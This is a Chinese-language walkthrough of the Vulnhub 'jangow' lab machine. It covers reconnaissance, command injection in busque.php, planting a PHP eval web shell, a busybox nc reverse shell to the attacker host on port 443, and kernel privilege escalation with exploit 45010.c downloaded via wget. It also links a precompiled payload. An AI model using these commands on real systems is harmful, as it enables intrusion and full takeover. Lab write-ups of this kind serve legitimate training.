jangow靶机笔记(Vulnhub)
环境准备:
靶机下载地址:
https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
kali地址:192.168.144.128
靶机(jangow)地址:192.168.144.180
一.信息收集
1.主机探测
使用arp-scan进行主机探测:
arp-scan -l
发现主机的IP地址为192.168.144.180
如果有探测不到靶机地址的可以看一下这篇文章:
https://blog.csdn.net/m0_59768231/article/details/144748713
1.1.端口扫描
nmap -p 1-65535 -A 192.168.144.180
发现只有21和80端口开启了服务。
二.漏洞探测
我们先访问一下web界面:
site点进去发现是个UmbracoCMS。
每个功能都点一下,发现再点击Buscar时出现了一个参数,很有问题,尝试命令注入,发现有回显。
三.漏洞利用
3.上传一句话木马:
既然可以命令注入,就先上传一个马子,看看效果:
http://192.168.144.180/site/busque.php?buscar=echo '<?php @eval($_POST['hack']);?>' > 1.php
上传成功,使用蚁剑连一下:
没有问题,既然是靶机,咱们在去尝试一下反弹shell的方式进行连接
3.1反弹shell
使用nc -help 发现没有回显,可能靶机上没有装nc。
但是我在翻阅一下资料的时候,发现了Busybox这个工具,里面会有nc工具的安装。我们在进行尝试,发现Busybox工具存在,nc也存在。
Busybox的介绍:
Busybox是一个开源的、轻量级的软件工具集合,旨在提供一个精简的Unix工具集,适用于嵌入式系统和资源受限的环境。它将许多常用的Unix工具(如ls、cp、cat、mv、grep、find、telnet、nc等)合并为一个可执行文件,从而减少了系统的存储空间和资源占用。
当我们使用了nc反弹shell的时候,kali那边监听一直都没有shell的返回,那么就有可能这台机器没有出网,但是不出网的概率很小。
我尝试一下80和443这两个常用的Web端口:
80端口也是不可以,在试一下443端口
有返回的数据,说明443端口是开放的。
那么我们就可以使用nc进行反弹shell了
http://192.168.144.180/site/busque.php?buscar=busybox%20nc%20192.168.144.128%20443%20-e%20/bin/bash
成功拿到了shell
想要进行全交互式的shell,请看下面的连接:
反弹shell升级全交互式shell_linux反弹shell 变成可交互式-CSDN博客
python3 -c 'import pty;pty.spawn("/bin/bash")'; #开启一个半交互式的 Bash shell
在/home/jangow01/user.txt中找到flag。
四.内核提权
查看内核版本:
uname -a;lsb_release -a
内核版本为:4.4.0-31
发行版本为:Ubuntu16.04
查找内核漏洞
searchsploit ubuntu 16.04
把45015.c给复制下来
searchsploit -m 45010.c
编译一下:
gcc 45010.c -o 45010
上传到靶机:
192.168.144.180/site/busque.php?buscar=wget http://192.168.144.128:443/45010
可以看到靶机的请求,上传成功
给45010加上执行权限并运行:
chmod +x 45010
提权成功。
补充:不要在蚁剑的终端中运行,要在反弹shell里面运行。如果运行报错(GLIBC_2.34 not found)可以使用我编译后的payload:
链接: https://pan.baidu.com/s/1eM01n-EkE2cNT-MRfmkGWQ?pwd=pbz9 提取码: pbz9